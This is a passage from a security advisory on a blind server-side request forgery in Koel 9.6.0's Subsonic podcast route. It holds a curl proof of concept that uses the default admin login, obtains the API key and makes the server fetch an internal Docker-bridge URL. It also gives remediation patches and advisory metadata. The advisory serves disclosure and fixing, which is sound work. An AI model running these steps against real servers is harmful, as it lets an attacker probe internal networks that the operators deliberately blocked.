- Prepare an internal-only target URL. In my validation, I used a host-side RSS fixture reachable from the container through the Docker bridge:
TARGET_URL="http://172.17.0.1:18090/feed.xml?run=1"
- Confirm the regular web API blocks the URL:
curl -i -X POST http://127.0.0.1:18081/api/podcasts \
-H "Authorization: Bearer $API_TOKEN" \
-H 'Accept: application/json' \
-H 'Content-Type: application/json' \
--data "{\"url\":\"$TARGET_URL\"}"
Expected result:
- HTTP
422 -
Error includes
The url must point to a public URL. -
Trigger the Subsonic route with the same URL:
curl -i -G http://127.0.0.1:18081/rest/createPodcastChannel.view \
--data-urlencode "apiKey=$SUBSONIC_KEY" \
--data-urlencode 'f=json' \
--data-urlencode "url=$TARGET_URL"
Expected result:
- HTTP
200 -
JSON includes
"status":"ok" -
Confirm the server-side request happened by checking the internal HTTP service logs.
During validation, the local HTTP test server received HEAD and GET requests for /feed.xml?run=1.
Impact
An authenticated user can make Koel send server-side HTTP requests to internal destinations that are intentionally blocked by the main web API.
Validated impact: - SSRF to loopback, Docker-bridge, and RFC1918 HTTP destinations reachable from the Koel server - Internal service discovery and request execution through the podcast parser
Generic response-body exfiltration was not validated through this exact route. The confirmed impact is SSRF-based internal request execution.
Remediation
The Subsonic podcast request validator should apply SafeUrl, and the parser entry point should reject unsafe targets as defense in depth.
Suggested patch for app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php:
diff --git a/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php b/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php
--- a/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php
+++ b/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php
@@
namespace App\Http\Requests\Subsonic;
use App\Http\Requests\Request;
+use App\Rules\SafeUrl;
@@
public function rules(): array
{
return [
- 'url' => ['required', 'string', 'url'],
+ 'url' => ['required', 'string', 'url', new SafeUrl()],
];
}
}
Suggested defense-in-depth patch for app/Services/Podcast/PodcastService.php:
diff --git a/app/Services/Podcast/PodcastService.php b/app/Services/Podcast/PodcastService.php
--- a/app/Services/Podcast/PodcastService.php
+++ b/app/Services/Podcast/PodcastService.php
@@
private function createParser(string $url): Poddle
{
+ if (!$this->network->isSafeUrl($url)) {
+ throw FailedToParsePodcastFeedException::create($url);
+ }
+
return Poddle::fromUrl($url, 5 * 60, $this->client);
}
}
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.6.0"
},
"package": {
"ecosystem": "Packagist",
"name": "phanan/koel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.7.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54492"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-15T17:07:16Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nKoel `v9.6.0` protects the regular podcast subscription API with `SafeUrl`, but the Subsonic-compatible `createPodcastChannel.view` route does not apply the same protection. An authenticated user can supply a private URL and cause Koel to fetch it server-side during podcast parsing.\n\nThis was validated against `v9.6.0` (`352ea5ec27fa22294da8fb6beacb3d5552f0d09c`) using the official `phanan/koel:9.6.0` image.\n\nThis is distinct from `GHSA-7j2f-6h2r-6cqc`, which fixed unsafe episode enclosure URLs in versions `\u003c= 9.3.4`. The issue here is a newer validation gap in the Subsonic route itself, still present in `v9.6.0`.\n\n### Details\n#### SafeUrl protects the regular podcast API only\n\nThe regular podcast subscription path validates the feed URL with `SafeUrl`:\n\n- `app/Http/Requests/API/Podcast/PodcastStoreRequest.php`\n\n```php\nreturn [\n \u0027url\u0027 =\u003e [\u0027required\u0027, \u0027url\u0027, new SafeUrl()],\n];\n```\n\nThe Subsonic-compatible route does not:\n\n- `routes/subsonic.php`\n - `createPodcastChannel.view`\n- `app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php`\n\n```php\nreturn [\n \u0027url\u0027 =\u003e [\u0027required\u0027, \u0027string\u0027, \u0027url\u0027],\n];\n```\n\nThat creates the same kind of trust-boundary mismatch as the radio issue: the main API rejects private targets, while the compatibility route accepts them.\n\n#### The URL is fetched immediately by the podcast parser\n\nThe attacker-controlled URL is used by the podcast service during channel creation:\n\n- `app/Http/Controllers/Subsonic/CreatePodcastChannelController.php`\n- `app/Services/Podcast/PodcastService.php`\n\n`PodcastService::addPodcast()` calls:\n\n```php\n$parser = $this-\u003ecreateParser($url);\n```\n\nand `createParser()` resolves to:\n\n```php\nreturn Poddle::fromUrl($url, 5 * 60, $this-\u003eclient);\n```\n\nThis means the SSRF happens as part of the channel creation flow itself. No separate playback step is needed.\n\n#### This bypasses Koel\u0027s intended SSRF control for podcast URLs\n\nKoel already added `SafeUrl` to the regular podcast API and has already published a podcast-related SSRF advisory. The Subsonic route does not reuse that same control, so it reintroduces a server-side fetch primitive for private destinations.\n\n### PoC\nThe following steps were validated against the official `phanan/koel:9.6.0` image.\n\n1. Authenticate and obtain an API token:\n\n```bash\nAPI_TOKEN=$(\n curl -sS -X POST http://127.0.0.1:18081/api/me \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"email\":\"admin@koel.dev\",\"password\":\"KoelIsCool\"}\u0027 \\\n | python3 -c \u0027import json,sys; print(json.load(sys.stdin)[\"token\"])\u0027\n)\n```\n\n2. Obtain the user\u0027s Subsonic API key:\n\n```bash\nSUBSONIC_KEY=$(\n curl -sS http://127.0.0.1:18081/api/data \\\n -H \"Authorization: Bearer $API_TOKEN\" \\\n | python3 -c \u0027import json,sys; print(json.load(sys.stdin)[\"current_user\"][\"subsonic_api_key\"])\u0027\n)\n```\n\n3. Prepare an internal-only target URL. In my validation, I used a host-side RSS fixture reachable from the container through the Docker bridge:\n\n```bash\nTARGET_URL=\"http://172.17.0.1:18090/feed.xml?run=1\"\n```\n\n4. Confirm the regular web API blocks the URL:\n\n```bash\ncurl -i -X POST http://127.0.0.1:18081/api/podcasts \\\n -H \"Authorization: Bearer $API_TOKEN\" \\\n -H \u0027Accept: application/json\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \"{\\\"url\\\":\\\"$TARGET_URL\\\"}\"\n```\n\nExpected result:\n\n- HTTP `422`\n- Error includes `The url must point to a public URL.`\n\n5. Trigger the Subsonic route with the same URL:\n\n```bash\ncurl -i -G http://127.0.0.1:18081/rest/createPodcastChannel.view \\\n --data-urlencode \"apiKey=$SUBSONIC_KEY\" \\\n --data-urlencode \u0027f=json\u0027 \\\n --data-urlencode \"url=$TARGET_URL\"\n```\n\nExpected result:\n\n- HTTP `200`\n- JSON includes `\"status\":\"ok\"`\n\n6. Confirm the server-side request happened by checking the internal HTTP service logs.\n\nDuring validation, the local HTTP test server received `HEAD` and `GET ` requests for `/feed.xml?run=1`.\n\n### Impact\nAn authenticated user can make Koel send server-side HTTP requests to internal destinations that are intentionally blocked by the main web API.\n\nValidated impact:\n- SSRF to loopback, Docker-bridge, and RFC1918 HTTP destinations reachable from the Koel server\n- Internal service discovery and request execution through the podcast parser\n\nGeneric response-body exfiltration was not validated through this exact route. The confirmed impact is SSRF-based internal request execution.\n\n### Remediation\n\nThe Subsonic podcast request validator should apply `SafeUrl`, and the parser entry point should reject unsafe targets as defense in depth.\n\nSuggested patch for `app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php`:\n\n```diff\ndiff --git a/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php b/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php\n--- a/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php\n+++ b/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php\n@@\n namespace App\\Http\\Requests\\Subsonic;\n \n use App\\Http\\Requests\\Request;\n+use App\\Rules\\SafeUrl;\n@@\n public function rules(): array\n {\n return [\n- \u0027url\u0027 =\u003e [\u0027required\u0027, \u0027string\u0027, \u0027url\u0027],\n+ \u0027url\u0027 =\u003e [\u0027required\u0027, \u0027string\u0027, \u0027url\u0027, new SafeUrl()],\n ];\n }\n }\n```\n\nSuggested defense-in-depth patch for `app/Services/Podcast/PodcastService.php`:\n\n```diff\ndiff --git a/app/Services/Podcast/PodcastService.php b/app/Services/Podcast/PodcastService.php\n--- a/app/Services/Podcast/PodcastService.php\n+++ b/app/Services/Podcast/PodcastService.php\n@@\n private function createParser(string $url): Poddle\n {\n+ if (!$this-\u003enetwork-\u003eisSafeUrl($url)) {\n+ throw FailedToParsePodcastFeedException::create($url);\n+ }\n+\n return Poddle::fromUrl($url, 5 * 60, $this-\u003eclient);\n }\n }\n```",
"id": "GHSA-w79m-f3jx-779v",
"modified": "2026-07-15T17:07:16Z",
"published": "2026-07-15T17:07:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/koel/koel/security/advisories/GHSA-w79m-f3jx-779v"
},
{
"type": "WEB",
"url": "https://github.com/koel/koel/pull/2545"
},
{
"type": "WEB",
"url": "https://github.com/koel/koel/commit/1331f335342b405e60ffabdd60f1f398508f996f"
},
{
"type": "PACKAGE",
"url": "https://github.com/koel/koel"
},
{
"type": "WEB",
"url": "https://github.com/koel/koel/releases/tag/v9.7.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Koel: Authenticated Blind SSRF via Subsonic Podcast Channel Creation"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.